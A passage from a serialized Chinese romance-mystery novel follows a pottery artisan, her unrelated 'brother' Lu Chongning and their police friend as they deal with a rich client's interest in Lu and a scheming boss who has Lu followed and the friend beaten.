上午走时煮的梨水已经凉了,梁喜按亮开关再加热一遍, 出门一趟莫名得累,她趴在桌上静静看梨块在水中翻滚,某一瞬间她觉得自己和梨块一样,在滚烫的沸水中熬煮撕裂, 不再完整。
“喜喜。”
梁喜闻声扭头, 看清是谁后又趴下。
路崇宁走过来, 俯身盯着透明热水壶里一堆翻滚的东西, 问:“煮的什么?”
“你自己不会看吗?”
“我想尝尝。”
梁喜冷漠拒绝, “不适合你。”
路崇宁直起身, 小声解释道:“林格是老板生意伙伴的女儿,这几天来化城考察项目。”
水开了, 梁喜往杯子里倒梨水,淡淡的果香扑鼻,预感煮得很成功, 至于路崇宁的
话,左耳进右耳出,被她屏蔽了
“老板说她人生地不熟,让我陪着,给她当司机。”
梁喜吹吹杯里的梨水,“跟我说这些干嘛?”
“报备一下。”
梁喜扭头视线向上,和路崇宁目光撞上,莫名被“报备”这两个暧昧的字眼搞得脸红。
这时周靖哲过来敲门,“梁喜,林小姐找你。”
路崇宁:“你说她忙着。”
“我不忙。”
梁喜站起来,当着周靖哲的面拆穿路崇宁,再次拿他的话当耳旁风。
等梁喜下楼,周靖哲对路崇宁说:“哥,梁喜这两天心情不太好,怎么了?”
“没事。”
路崇宁也跟着快速下楼。
展柜前,林格对梁喜说:“刚才周先生给我简单介绍了一下,我感觉,嗯”
林格先是礼貌客气地笑笑,修长的美甲在空中比划着,“太便宜了,你懂我的意思吧?”
梁喜不管她是话里有话还是真心觉得廉价,直白地问:“林小姐想要什么价位?”
从梁喜见到林格到现在,轻易就能感受到林格与他们普通小老百姓之间的不同,可能在她的生活观念里,几万、几十万撒出去,像梁喜在菜市场买菜一样随意,根本不用考虑。
所以,同样的东西改个价签不是难事,只要别太离谱。
“多贵都可以呀,只是有没有彩色跟黑色融合的款式?全黑太沉闷了,看着有点窒息。”
“有,多彩黑陶,我师父的手艺,林小姐真有眼光。”
大众被夸赞,林格表面不在意,实则心里很受用,她仰头看着展柜,用一种很明显的审判的目光。
梁喜叫了声“师父”,老王从茶桌那边笑盈盈地过来,“林小姐,多彩黑陶在二楼展示柜,要不咱们上楼看看?”
“好啊,麻烦了。”
几人往楼上走,路崇宁没跟着,而是到外面抽烟,周靖哲走过去陪了一根,路崇宁抽的是信航之前给的那盒黑兰州,周靖哲主动跟他要,路崇宁还没说话,周靖哲自己拿了,完全不把自己当外人。
“对不起。”
“嗯?”
什么情况?路崇宁有点蒙,周靖哲突然道哪门子歉。
“我知道梁喜为什么心情不好。”
路崇宁轻轻吐着烟雾,等他继续。
“前几天去北京学习,我们工作室只有一个推荐去比赛的名额,选我没选她,我猜是因为这个梁喜才不高兴了。”
“不会。”
周靖哲又说:“我在工作室比梁喜资历深,也比梁喜手艺好,老王选送我也正常。”
路崇宁往旁边让了一步,“喜喜从小学三年级就跟着王老师学黑陶,一直学到高中,加一起差不多学了十年,这次回来,她经常一个人在工作室加班练习,早上第一个到,晚上最后一个走,睡觉前看的都是黑陶相关的资料和书,你可以不认可她的才华,但不能漠视她的努力。”
周靖哲第一次听路崇宁说这么多话,而且说的内容让他脸上有点挂不住,于是赶忙换个话题,想转移一下路崇宁的火力。
“许老师想通过自己的关系为梁喜争取呢。”
真他妈给你脸了?
路崇宁用力裹了口烟,“你用什么手段我不管,如果你伤害喜喜,不行。”
周靖哲眼里闪过一阵慌乱,“哥,你说的什么话?我对喜喜挺好的。”
“是嘛。”路崇宁冷笑一声,“你参加比赛的名额怎么得来的你比我清楚,喜喜没说什么,不代表别人不知道。”
梁喜从北京回来当天许京平便把这件事告诉了路崇宁,他离得远,有点鞭长莫及,想让路崇宁警告一下周靖哲,在这点上两人的立场出奇一致。
“既然你挑明了,我也有话直说,梁喜要不是靠脸蛋驳得许老师的喜欢,她又有什么资格参赛?说到底,真要公平竞争,不一定花落谁家,大家各凭本事,谁比谁高尚?”
路崇宁差点气笑,扭头看向工作室牌匾,压回想要揍周靖哲一拳的冲动,他把烟掐掉,直接走了。
对于周靖哲这种人,无视是最好的回击,尤其是在他振振有词的话语之后
等路崇宁进屋,老王带林格还有梁喜从楼上下来,梁喜手里拿着一个本子边听边记。
林格看见路崇宁,叫他,“小宁,你过来,看我选的这几个怎么样?”
路崇宁抬抬下巴,“问梁喜和王老师就行了,我不太懂。”
林格瞥了梁喜一眼,“你妹做黑陶的,没教你点皮毛啊?”
“我笨。”
两个字结束拖沓。
路崇宁看向老王,“王老师,这边都记好了吗?”
“好了,小宁。”
“那我们先走,公司还有事。”
林格有点意外,“不是说好要跟你妹妹吃午饭吗?”
“等下次有机会吧。”
路崇宁做了个请的手势,林格只好随他走,老王在后边送客,梁喜没动。
目送那两人开远后老王才回到屋里,笑得满面春光,“喜喜,回头替我谢谢小宁。”
“谢他干嘛?该谢刘总才对。”
“欸?你这孩子,刚才你不都听见了,林小姐说多亏路崇宁介绍。”
“顺嘴的事,师父你别放心上。”
“该谢还是要谢,要不然显得师父我多不懂人情世故。”
“好~帮你转达。”
两人说得正热乎的时候周靖哲走过来,脸色不太好,什么也没说,上楼去了。
老王看出周靖哲心情有点失落,“喜喜,回头这单”
“我跟他一人一半吧,反正前面是他介绍的。”
老王有点不好意思,“不用一半,百分之二十就行,安慰奖。”
“师父你定,我没意见。”
梁喜打开电脑,把本子上记的款式捋了一遍,输进表格。
说完正事,老王开始八卦,“姓林那小姑娘是不是喜欢你哥啊?”
“不知道,没听说。”
“我看好像有猫腻,你哥那边没啥,林小姐倒是对他意思明显。”
梁喜面无表情敲字,“林小姐漂亮,我哥高攀。”
“什么高攀,你哥就是家里条件差点,我看那姑娘穿戴不便宜。”
键盘快被梁喜敲出火星子了,脸上依然淡定,老王嘟囔一句,“键盘有年头了,是不是不好用?之前佩佩在的时候提过一嘴,回头我去电脑城那边买一套。”
“我去吧,你没时间,等会儿我就去。”
正好梁喜想出去吹吹风。
“行,你要是不知道买哪款,问下靖哲。”
“嗯。”
临近中秋节,路崇宁要给几个快递不便的地址送货,严格上这个活不归他管,但他主动揽过去,别人当然没意见。
其实这些礼品过几天送也行,但路崇宁不想再陪林格浪费时间,所以才说公司有事,着急回去。
路上,林格不可避免地问起梁喜和路崇宁的姓氏区别,“你和你妹妹分别随父姓和母姓吗?”
“我们不是亲兄妹。”
“噢~”
这么一说林格就明白了,但只限于表面明白,她以为是那种堂兄妹关系。
“梁喜蛮漂亮的。”
“嗯,她从小就好看。”
在外人面前路崇宁从不吝啬夸赞梁喜。
“多大呀?”
“二十五。”
“黑陶学多少年了?”
“从小学开始,断断续续。”
林格点点头,“能坚持一件事不容易,不像我,我属于那种一旦达到顶点,后面就没兴趣了,比如我弹钢琴,考八级,古筝、吉他也一样,英语自不必说,反正现在感兴趣的东西越来越少。”
“”路崇宁没话接,专心开车。
“我后天回厦门,你要不要过去玩玩?厦门很漂亮的。”
“不去了,我还要工作。”
“刘总说你随时走得开啊。”
“游乐场项目忙,以后有机会吧。”
林格很失望,但碍于是女孩子,拉不下脸执意邀请。
“林小姐,我送你回酒店还是去哪?”
“回酒店吧,我累了。”
“好。”
路崇宁在前面路口打转向往酒店开,他有意开得快,没几分钟便到了。
把车停在酒店门口,保安过来开门,路崇宁没打算下车,对林格说了声“再见。”
她往后看看,说:“你陪我上去吧,刘叔给我买了几样礼物,拿着不方便,你帮我寄回我家。”
路崇宁没法拒绝,只好解安全带。
保安大哥这时过来敲车窗,路崇宁把车窗摇下,听到他问:“先生,需要帮您停车吗?”
“我马上就下来,停这可以吗?”
“那您稍微靠下边,不能停太久哈。”
“谢谢。”
路崇宁把车往旁边挪了一段,才又下去。
林格站在旋转门前,风把她的旗袍一角吹起,露出修长的腿,路崇宁看见了,赶紧移开目光。
“小宁。”林格催促一声,“走啊!”
正当路崇宁犹豫的时候抬头看见救星,“信航!”
信航一身警服,闻声转头,笑着跑过来,“在这干啥呢?”
路崇宁指向林格,“帮朋友拿点东西,你忙完了吗?”
“啊,完事儿了。”
路崇宁冲信航使眼色,“跟我一起上楼帮下忙,我怕自己拿不了。”
信航会意,“行啊,走吧。”
林格没表现不高兴,还特意谢谢信航。
从林格房间拿了几个礼盒下来,刚进电梯,信航便迫不及待问路崇宁什么情况,他实话实说:“之前陪老板去广州出差见的朋友,老板介绍他女儿跟我认识,我本来想富家小姐不会来咱们穷乡僻壤,没想到真来了。”
信航不怀好意地笑笑,“不仅来了,还看上你了对吧?”
“不知道。”
“我看她对你有点意思。”
路崇宁避而不答,“你开车了吗?”
“来的时候开了,单位有急事,同事又给开回去了。”
“正好。”路崇宁招呼信航上车,“我送你,顺便跟你说点事。”
“巧了嘛,我也找你。”
第52章 第五十二章 我不喜新厌旧。
车刚开上主道, 路崇宁把烟递给信航,他接过点燃,边抽边说:“我查了一下全喜村的情况, 还真不简单, 这个村以前是贫困村,当年因为地势原因, 建水库分了一笔钱, 摆脱了贫困村的帽子, 但也没多富, 有的年轻人不种地, 外出打工了,村里还剩一些老弱病残,少有的几个年轻人把土地承包过来, 机械化种田,赚得比外出打工多,慢慢又回来一些年轻人,反正村里现在的情况比周边村子好, 当然这里面也有马有原的扶持。”
信航裹了口烟, 指挥路崇宁往左转, “你知道为什么从村长嘴里问不出话吗?他负责管理马有原的捐款, 估计捞了不少好处。”
路崇宁的烟在嘴边叼着, 没点, 他拿下来,说:“你之前不是怀疑我们公司那个周胜是周大爷的儿子吗?我下午要去全喜村一趟, 公司给主管以上的员工准备了中秋节礼品,可以邮寄,也可以当场领走, 周胜填了老家地址,可能想让公司直接给寄过去,全喜村没有快递站点,我跟老板助理说了,有几个不方便寄快递的地址都由我来送。”
“哎,我下午走不开,要不然可以跟你一起去。”
“别,周大爷可能还记得你,我自己去。”
“行吧。”
路崇宁给信航送回单位后赶忙往公司开,路上便通知阿布把礼品准备好,他到公司拿上就走,本来一切都在计划中进行,等路崇宁开出化城十公里的时候阿布打来电话,说刘俊华把她骂了一通,这种琐碎的事为什么让路崇宁亲自跑,阿布带着哭腔求路崇宁赶紧回来,她已经安排别的司机去送了。
路崇宁不想前功尽弃,可这时候如果硬去只会适得其反,无奈挂断阿布电话后赶紧返程。
回到公司,路崇宁被刘俊华找过去,他预感如果刘俊华火气未消,他也会被波及,所以故意把林格的几个礼盒带到公司,然后找阿布要快递员电话。
助理办公室和刘俊华办公室面对面,他过去说的时候刚好刘俊华那屋门没关,等拿到快递员电话刘俊华把路崇宁叫过去,问:“你要寄什么?”
“噢,林格有点东西想让我帮忙邮寄。”
刘俊华满意地点点头,“他们父女后天走,你去送。”
“没问题。”
刘俊华招呼路崇宁进屋把门关严,坐到沙发上,说:“林总家虽然比我有钱,但没多多少,你不必觉得高攀,双赢的事,林总乐意。”
路崇宁莫名想起送信航回单位时他说的话,“小宁,有人跟踪你的车。”
当时信航看着后视镜,眼里露出警察特有的敏锐,“后面那辆银色大众刚才在酒店我就看见了,跟了你一路。”
他把车牌号念一遍,告诉路崇宁最近小心点。
如果是刘俊华为了派人跟踪路崇宁和林格倒没什么,只怕还有别的隐情。
“以后送礼品这些小事让司机做就行了,不要占用你时间,阿布不懂事,我已经说过她了。”
路崇宁不想阿布为难,“刘总,是我主动要去送,正好有车,不怪阿布。”
不知是否路崇宁会错意,自从林格出现后阿布跟他说话的时候很少直视,说完正事便走,不像之前总要跟路崇宁再聊点别的,下班后还会发信息,现在一条不发了。
路崇宁猜刘俊华可能跟她说了什么,看来老板对这桩单方面臆想的联姻非常上心,如果路崇宁肯舍身,刘俊华自然能得到最大的利益整合。
“林格在老王工作室相中什么了?”
“几个多彩黑陶,需要王老师来做,工期会久一点。”
“多彩?”刘俊华笑笑,“林格的品味比我这个老头子好多了。”
“各有各的审美,黑色稳重,原始黑陶都是黑的。”
“你小子安慰我呐,不过老祖宗的审美错不了,我还是喜欢黑色。”
路崇宁故意看眼手机,“刘总,快递员快过来了,我去把林格的东西寄走。”
“快去吧,别耽误了。”
路崇宁起身要走,刘俊华又叫住他,“我下周出国,有时差,信息不能及时回复,项目的事你照常跟进,罗总明天回来,有事你找他商量。”
“好的。”
罗总是光华的总经理,刚从广州那边调来没多久,他也经常出差,掐指一算一共在光华没待几天,人都认不全。
路崇宁这边关上办公室门,刘俊华掏出手机,拨了个号码,那头的男人秒接。
刘俊华问:“小宁跟林格在酒店待了多久?”
“连十分钟都没有,小宁在酒店门口遇到他那个警察朋友了,两人一起跟林格上去拿了东西下来,然后他送朋友回单位,从那边回的公司。”
刘俊华揉揉太阳穴,“他是不是常和警察朋友在一起?”
“偶尔见一面吧,两人是发小,光屁股长大的。”
这个刘俊华自然知道,只是他不想让路崇宁和警察走太近,尤其对方还是从小玩到大的关系。
“帮我盯住了,别蹦出一些乱七八糟的事干扰他。”
“知道了,老板。”
“让他发小最近歇歇,别做得太过分,等林格走了再动手。”
男人有点欲言又止,“老板,他是小宁最好的朋友。”
刘俊华语气郑重,“只有不断给他的人生增加缺口,才会牢牢抱住我这颗大树。”
他说完突然想到什么,问:“你开哪辆车跟的?”
“套牌,我防着小警察呢。”
刘俊华并没因为他的话彻底放松警惕,而是说:“找机会在小宁车上安个窃听,防患于未然,千万别被他发现,他心很细。”
“明白,一定办好。”
“吴青最近怎么样?”
“他一向老实。”那头的男人笑了声,“要是不老实我就再废他一根手指。”
“行,先挂了。”
刘俊华马上又给吴青拨出去,他的脸色在电话接通那一刻骤然冷下,直接开
骂,“周胜没脑子,你也没脑子吗?公司发节日礼品,他为什么填老家地址?!”
吴青被骂得一头雾水,但听到老家地址一下子明白刘俊华为什么生气,“刘总,你消消火,他就是个傻逼,回头我骂他,一年到头不回一次家,装什么孝子!我看他是装犊子!”
“再一再二没再三,挂了!”
“知道了,刘”
吴青没说完刘俊华便挂断电话
晚上路崇宁借口胃不舒服,没去陪林格吃饭,早早回家。
梁喜正在厨房做酸汤肥牛,牛肉卷烫过水,准备洗娃娃菜的时候听见门开的声音。
“我来洗。”
路崇宁走进厨房,将她拽到一边。
什么时候回来的?梁喜见他衣服都换完了。
“饭菜没带你那份。”
依然没什么好气。
路崇宁讨好说:“给我喝口汤就行。”
“汤也没有。”
路崇宁又试图哄她,“我要怎么做你才肯理我?”
梁喜赶他走,“你出去。”
路崇宁不动,继续洗。
梁喜看看他,“晚上不用陪林小姐吃饭吗?”
“没去。”
“家里粗茶淡饭,怕你吃不惯。”
路崇宁忽然停下,沾水的手捏住梁喜脸颊,自上往下俯视,梁喜要往后躲,被他另一只手拦住腰,“在哪修的阴阳怪气学?”
梁喜嘟着嘴,左右用力都躲不开,“路崇宁!”
他这才松开,用手背抹掉梁喜脸上的水渍。
只是水能擦掉,脸上的红晕可擦不掉
“你越来越过分了。”
路崇宁一愣,“我吗?”
梁喜把他拉走,小声说:“你不过是仗着我喜欢你,所以才欺负我。”
流水声盖过说话声,路崇宁凑近,“你说什么?”
“没什么,你出去吧,再待下去今天谁也别想吃饭。”
洗完菜梁喜连赶带轰让路崇宁出去,他在这梁喜没法专心做菜。
十五分钟后饭菜上桌,虽然嘴上说没带路崇宁那份,梁喜还是给他拿了碗,想吃的话自己盛。
路崇宁盛了满满一大碗饭,还用饭勺一压再压,梁喜看见问他:“中午没吃饭吗?饿成这样?”
“这几天都没吃饱,光伺候饭局了。”
夹菜倒酒,陪着说笑,一顿饭下来最多吃几口菜叶子。
梁喜将蒸的鸡蛋糕放到路崇宁面前,他舀了几勺拌饭吃。
“你蒸的和梁叔一样。”
听到梁叔,梁喜有点难过,上学时候梁辰义早晨起来经常给他俩蒸鸡蛋糕吃,再配上早市买的酱香饼或者包子,早餐两件套。
“信航说在酒店碰见你了。”
“嗯,林格要把刘总送的礼品邮家里去,我让信航帮我一起拿,完事儿我送他回单位了。”
“信航去酒店干嘛?”
“查案子吧。”
梁喜喝口鸡蛋糕,细细回想,她好像没亲眼见信航穿过几次警服,照片倒是看了好几张。
“我给你买的包是不是不喜欢?”
“喜欢。”
“没看你背。”
“旧的还没坏。”
要等那个帆布包背坏,恐怕还得五六年但梁喜只能随便编个理由,又不能说她因为闻到路崇宁身上的香水味吃醋了才把包放起来。
“换着背吧,今年不背就过时了。”
“没事,我不喜新厌旧。”
这句话仿佛意有所指,路崇宁苦笑一声,“难道我是吗?”
他吃掉碗里最后一口饭,拿过饭勺,在梁喜的惊讶下又盛了满满一大碗。
看来真饿着了。
梁喜慢悠悠吃完半碗,筷子一撂,说:“后吃完刷碗。”
“我先吃完也是我刷。”
“有吗?”
明明每次吃饭都是她先吃完。
路崇宁说:“以前上学的时候。”
梁喜靠着椅背仔细回想,夕阳最后的余晖透过窗户照进屋里,也照在她身上。
夏日漫漫,她又在路崇宁的话语里想起了一些从前。
一些爱意初现,无比暧昧轻盈的从前。
只是,真的过去很久了。
第53章 第五十三章 信航被报复。
休息日, 梁喜起床的时候路崇宁不在,前一天晚上他告诉梁喜,说今早要送林总和他女儿去机场, 下午才能回来。
他走的时候恰逢破晓时分, 外面天刚蒙蒙亮,梁喜听到门开关的响动微微睁眼, 看见窗帘缝隙透过一丝光亮, 转头又睡去, 直接睡到快中午。
醒来把衣服洗了, 又煮了碗米粉吃, 路崇宁打电话过来,说他往回走了,大概一个半小时到家, 问梁喜起没起,收拾一下去看唐姨。
挂断电话梁喜洗脸洗头,用卷发棒把快消失的大卷又卷出来,好好打扮了一下, 平时上班她洗完脸擦个乳液就走, 连眉毛都懒得画。
没等路崇宁到家, 唐姨电话先进来了, 不过情绪不对, “喜喜, 在家吗?”
“在家,一会儿去看你。”
“直接来医院吧, 信航受伤了。”
听唐姨声音带着哭腔,梁喜二话不说拿钥匙下楼打车
市医院急诊,路崇宁竟然比梁喜先到了, 碰面后拉着她往出口走。
“信航呢?”
“在住院部,昨天半夜受的伤,信航怕咱俩担心,不让唐姨说。”
两人匆匆往住院部赶,步子大得差点飞起来,梁喜也罕见跟上了路崇宁的步伐。
病房走廊,梁喜见唐姨和民叔在窗边站着,跑过去急切地问:“唐姨,信航伤里了?”
“喜喜,别着急。”唐姨说:“轻微脑震荡,软组织挫伤。”
听到这梁喜稍稍松口气,没想到唐姨又补了句:“左腿骨折。”
梁喜拍拍她后背,“没事,养养就好了,没事啊。”
熬了一宿,两个老人憔悴许多,尤其是唐姨,眼睛都肿了,明显哭过。
路崇宁问民叔,“做手术了吗?”
“骨折不严重,打了石膏,现在没事了,同事来看他,屋里一堆人,我和你唐姨就先出来了。”
梁喜望着病房方向满脸担忧,“不是脑震荡吗?人多闹哄哄的能行吗?”
民叔:“他们待不了多久,你和小宁去吧,估计这会儿差不多了。”
“行,那我和我哥先进去。”
梁喜和路崇宁顺着民叔指的方向走进病房,即使看不见信航本人也知道他在哪个床,靠窗那边围了一圈人,各个穿着警服,透着一股子威严。
忽然从人缝传出来一声“喜喜”,人群拨开,梁喜看到躺在病床上的信航,脑袋缠着纱布,腿打着石膏,脸上还有擦伤留下的痂。
音量只有往常的一半,看来真伤得不轻。
见他这幅模样梁喜眼睛一酸,碍于这么多人她用力把眼泪往下压,走到信航病床跟前,“疼不疼啊?”
“不疼,小伤。”
路崇宁把梁喜拽到一边,毕竟同事是外人,给他们腾空。
其中一个男同事见状,说:“信航,你好好养着,我们先回去了,抽空再来看你。”
“回吧回吧,别惦记。”
路崇宁替信航送客,梁喜坐到床边,盯着信航的脑袋看,“不会影响智力吧?”
“大小姐,你盼我点好。”
“出任务受的伤吗?”
信航摸摸嘴角,“昂。”
不知怎地,梁喜感觉他没说实话。
路崇宁送完客跟唐姨还有民叔回来,他和梁喜问了同样的话,信航让他坐,“吃水果吗?我同事拿了好多过来。”
“你想吃哪个?我给你洗。”
“嘴里苦,打针打的,先不吃了。”
唐姨拿了一个香蕉递给梁喜和路崇宁,俩人都没吃又放回去。
梁喜:“唐姨你俩吃饭了吗?”
“没呢。”
“我在这陪信航,让我哥带你俩去吃点饭。”
就算大人没胃口,
信航也得吃。
“儿子,想吃什么妈给你带回来?”
“清淡的吧,妈你看着买。”
信航转头又看向梁喜,“你跟我爸我妈去吧,小宁留下方便点。”
“行。”
梁喜明白信航指的“方便”是上厕所,她招呼唐姨和民叔一起去吃饭。
等他们走了,路崇宁坐到有床头柜那头,拿刀给信航削苹果,“怎么这么不小心?上班这几年也没受过这么重伤。”
“哎。”
信航有点迷糊,缓缓往下躺,路崇宁赶紧放下刀和苹果,帮他把枕头放平。
“小宁,你往前坐坐。”
路崇宁不明所以,还是挪了下凳子,信航低声说:“我没和爸妈说实话,我可能被人报复了,干我们这行的要有心理准备,只是没想到这么突然。”
“报复?你的意思不是出任务的时候受的伤吗?”
“昨晚我从单位回家,车停在旁边胡同,取车的时候被人从身后蒙住头,打完人便走了,撤得很快。”
“没看清脸啊?”
“没有,胡同里只有一个路灯,太暗了,而且前后夹击,前面的人制造声音引我注意,后面的人动手。”
路崇宁问:“你同事知道吗?”
“我没细说,怕他们跟我爸妈说漏嘴,你也是啊,别告诉喜喜。”
“嗯。”路崇宁又拿起刀接着削,“大夫说没说养多久?”
信航攥拳,“我这体格子,肯定比别人好得快。”
“好好躺着,等出院了去我那,我和喜喜轮流照顾你。”
“拉倒吧,我妈昨晚哭得不行,等出院了我回我妈那,正好平常没时间陪他俩。”
“行,我下班就去看你。”
“再唠下去直接给我送走了。”
苹果削好,路崇宁切成小块到碗里,递给信航。
他吃了一口,眉头紧皱,“好酸。”
“还有味觉,没事。”
“唉,就是觉得对不起我师父,队里可忙了。”
“别想那么多,先养伤。”
“对了。”信航缓缓转过头,问路崇宁,“我那天说的车牌号,这两天有没有再看见?”
“没有,我把公司登记的车辆都查了一遍,没有。”
“难不成是跟踪我的?”
联想自己受的伤,极有可能,信航琢磨着让同事帮忙查一下车牌号,但多半是套牌,不一定查得出。
信航不可自控地复盘这几年办的案子,没有百起也差不多了,这里面接触很多人,哪个环节被盯上都有可能,想到这他感觉头疼,将碗还给路崇宁,一口吃不下。
“不对!”
信航突然想到什么,猛地坐直,疼得呲牙咧嘴。
“你慢点。”
他揉揉头,说:“我跟你在酒店见面是白天,对我报复的人不会选择光天化日行凶,所以还是有跟踪你的可能。”
路崇宁眼中冷光闪过,“当年不放过我爸妈的人,今时今日也不放过我吗?”
信航勾勾手,路崇宁起身凑过去,一段耳语过后他点了点头,“好,明白。”
梁喜和路崇宁待到晚上才走,中午吃完饭他俩让唐姨和民叔回家休息,晚饭时过来带了几个人的饭菜,还给信航煲了大骨头汤,吃完唐姨让他俩赶紧回去休息,第二天还要上班。
在医院停车场找到车,梁喜刚打开车门就闻到一股香水味,这味道不是第一次闻,她知道来源。
见车门敞着人没上车,路崇宁问:“怎么了?”
梁喜大手一挥,把车门关上,“我自己打车回去,你自己开吧。”
她转头往出口走,好像走得快一些就能将香水的味道彻底甩在身后。
路崇宁追上去,一把拽住梁喜胳膊,又问:“到底怎么了?”
梁喜压着火,如平常语气,说:“我闻不惯林小姐的香水味,头疼。”
这几天她一直给路崇宁甩脸子,太难受,她不想再那样了。
梁喜的话让路崇宁挑不出一点错,但他又不能让梁喜自己回去,于是说:“前面有家洗车行,我去洗车,里外全洗一遍行吗?”
“没工夫等你。”
路崇宁一动不动。
“不放手我可咬了?”
两人对视,梁喜张嘴照他手腕咬下去,留下一排清晰的牙印。
梁喜自觉用尽全力,可路崇宁却一声不吭。
好吧,你赢了。
她长出一口气,“行,陪你去。”
听到梁喜同意,路崇宁拉着她往回走,直到她坐进副驾驶才彻底放手。
付完停车费,开上主道,梁喜瞟了一眼路崇宁的胳膊,有牙印的地方已经泛红,微微肿起。
“路崇宁。”
“嗯。”
“你也是个犟种。”
他轻笑了声,“跟你没法比。”
看来还是咬得轻
一个路口后再转弯就到了洗车行,路崇宁把车交给小工,说:“精洗,里外都洗干净点,麻烦了。”
路崇宁去收银台付完账,出来带梁喜去外面等。
洗车行门口的桑葚树过了果实成熟季,只剩下绿叶子,借着路灯的光,梁喜看见头上貌似有几颗风干的果实,伸手要摘,奈何太高了,抓不到。
转头,梁喜和路崇宁的目光撞上,他叼着烟,好整以暇地看着全过程。
梁喜抬抬下巴,“你能摘到吗?”
“不能吃。”
“我想看看。”
路崇宁往前迈一步,烟拿下来,单手一把抱起梁喜。
“啊!”
双脚突然离地,梁喜的头刮到树叶,吓她一跳。
“摘吧。”
路崇宁说得云淡风轻,像摘自家玉米一样。
梁喜一只手小心搂着路崇宁的脖颈,另一只向上,摘了几个干巴得像葡萄干一样的桑葚,小心攥在手里。
“下来。”
脖颈后的手指挠了挠,路崇宁下蹲将梁喜放到地上。
借着路灯的光,梁喜小心扒拉掌心仅有的几粒桑葚干,衡量一番,觉得能吃,捻了一颗就要往嘴里送。
路崇宁张手拦住,“你怎么什么都想尝?”
梁喜反驳,“没毒。”
“脏,路边都是灰,”
好吧,话虽这么说但她没扔,攥在手里玩。
路崇宁吸了口烟,问:“你不用香水吗?”
“很少。”
路崇宁抬手在梁喜耳后刮了下,“可是你这里有香味。”
“你怎么知道?”
他毫不遮掩,“闻过啊。”
“”梁喜只觉脸有点烫,“前些天生日,崔影送了我一管香膏,可以涂在身上,味道不浓,挺好闻的。”
“是不浓。”路崇宁说。
凑近才能闻到。
第54章 第五十四章 难猜的,从来只有暗涌的心……
信航在医院住了一周, 梁喜和路崇宁天天下班往医院跑,待到晚上九点多再回去,直到他出院。
最近忙, 路崇宁一直没去咖啡馆, 常涛对他很照顾,说抽空再来, 还不忘调侃, 没有路崇宁的脸做招牌, 会员光临频次严重下降, 路崇宁答应他今天下班过去, 正好孟相帆从家过来,他又叫上梁喜一起喝咖啡,两人约好才告诉路崇宁。
天气预报说今天有雨, 中午下了会儿,下午几阵大风过后晴空万里,乌云被吹到天边,慢慢消散。
路崇宁没时间吃晚饭, 梁喜和孟相帆在旁边吃了碗牛肉面, 打包一份给路崇宁带过去。
本来梁喜想叫上崔影, 无奈她店里太忙, 走不开。
走进咖啡店, 常涛先看见梁喜, 笑着打招呼:“咱妹来啦!”
又问孟相帆,“这位是妹夫吗?”
孟相帆看了路崇宁一眼, 吓得直摇头,“不是不是不是不是!革命友谊,纯朋友。”
路崇宁站在柜台里边, 问梁喜:“还喝冰美式吗?”
“嗯。”
“找地方坐吧。”
孟相帆对着路崇宁指指自己,“你不问我喝啥呀?”
“你还喝吗?”
“哥,小弟无心冒犯,随便给我做一杯什么都行。”
“去吧。”
“哎哎。”
走过柜台孟相帆才直起腰,长出口气,到梁喜对面坐下,张口就问:“你俩啥进度了?”
梁喜惊得下意识看了路崇宁一眼,还好他在招待客人,这个距离听不见。
“嘘!”梁喜就差捂孟相帆嘴了,“你干嘛?”
“关心关心啊。”
“大可不必。”
孟相帆笑了声,“兄妹相称有瘾啊?赶紧捅破窗户纸得了。”
梁喜腹诽,你以为是泡沫说捅就捅?
“这次回来待多久?”
“还没定,我家那个厂房被占了,要建高铁,我回来帮我爸处理一下手续,等禾木下雪,我就去开板训练了。”
“新疆吗?”梁喜问。
“嗯,北疆。”
她还没去过。
“等你和崇宁结婚,蜜月旅行我包了,带你俩去新疆玩。”
梁喜手指敲敲桌子,“再说这个话题,信不信我把你从窗户扔出去?”
孟相帆起身,自言自语往收银台走,“咖啡是不是好了?我去看看。”
待到九点半路崇宁下班回家,让梁喜先上楼,他要和孟相帆在楼下聊点事。
这个时间周边商铺大多关门,面馆也打烊了,两人坐在面馆门口台阶上,乍一看好像醉鬼。
路崇宁递给孟相帆一根烟,“我想求你帮个忙。”
“求婚啊?”
“你那脑袋能不能想点别的?”
孟相帆哼了声,“据不完全统计,我和梁喜在咖啡馆的时候你看了她十二次。”
“”路崇宁遭到重击,无法反驳。
“啥事儿?说吧,能帮忙兄弟肯定帮。”
路崇宁正正身子,说:“梁叔死前留下的u盘透漏了一些线索,可能跟我爸妈有关,前段时间我和信航去全喜村了解情况,感觉好像惊着谁了,你能不能给替我过去再打听打听。”
路崇宁又把马有原、周胜、吴青的关联讲了一遍,既然求孟相帆帮忙,就要把事说清楚。
孟相帆:“你没问问你妈家那边亲戚吗?认不认识马有原?”
路崇宁紧皱眉头,重重吸了口烟,“我给我舅舅打过电话,听到我名字他直接挂了,可能怕借钱吧。”
烟雾向街上飘散,此情此景,好像他们家淡漠的亲情一样虚无缥缈,可有可无,不过路崇宁理解,虽然有血缘关系,但这么多年一共没见过几次,现在和陌生人没什么区别,不帮忙也在情理之中。
“行,小宁,你告诉我下一步怎么打?”
“得和信航商量,他有经验。”
提到信航,孟相帆问:“他恢复怎么样了?”
“在家养着呢,天天嚷嚷要去单位,他师父不让。”
“我明天去看看他,你给我地址。”
“下班我带你去吧,我买东西,你别买。”
孟相帆有点急了,“你让我这个朋友也尽点心意行不行?”
路崇宁笑笑,“行,你看着买两样水果,别太多。”
话落,两人各自抽着烟沉默,虽然事情被路崇宁轻飘飘讲完,但落在孟相帆心里异常沉重,这些线索每查一次对路崇宁来说无疑不是折磨,十几岁的年纪就遭遇自杀的爸,失踪的妈,还有数不清的债务,光想想孟相帆都觉得抓狂。
“全喜村有水库是不是?”
“是。”
孟相帆翻手机,“我记得家里有个亲戚好像是全喜村的。”
他扒拉通讯录,找到一个“二舅”的电话,给路崇宁看,“回头我给我妈打个电话,没出五伏,说不定还有联系呢。”
“别太刻意。”
“知道。”
孟相帆弹弹烟灰,问路崇宁,“你想没想过离开化城?”
“梁喜在这,我哪也不去。”
“梁喜不也从北京回来的吗?为了你吧。”
“不是,她师父请她去工作室工作。”
孟相帆撞了下他肩膀,“你咋这么不自信?”
“跟自信没关系,梁喜比你了解得要成熟,她有自己的想法。”
孟相帆把烟掐灭,“我走了,你快回家吧,梁喜等你睡觉觉呢。”
路崇宁“嘶!”了声,“你住哪?”
“哥自有逍遥快活处,别操心了。”
“我送你。”
“不用,赶紧回家。”
孟相帆起身去路边打车
自从周靖哲报名参加比赛之后梁喜落得清闲,他被老王安排集训去了,等考完试才回来。
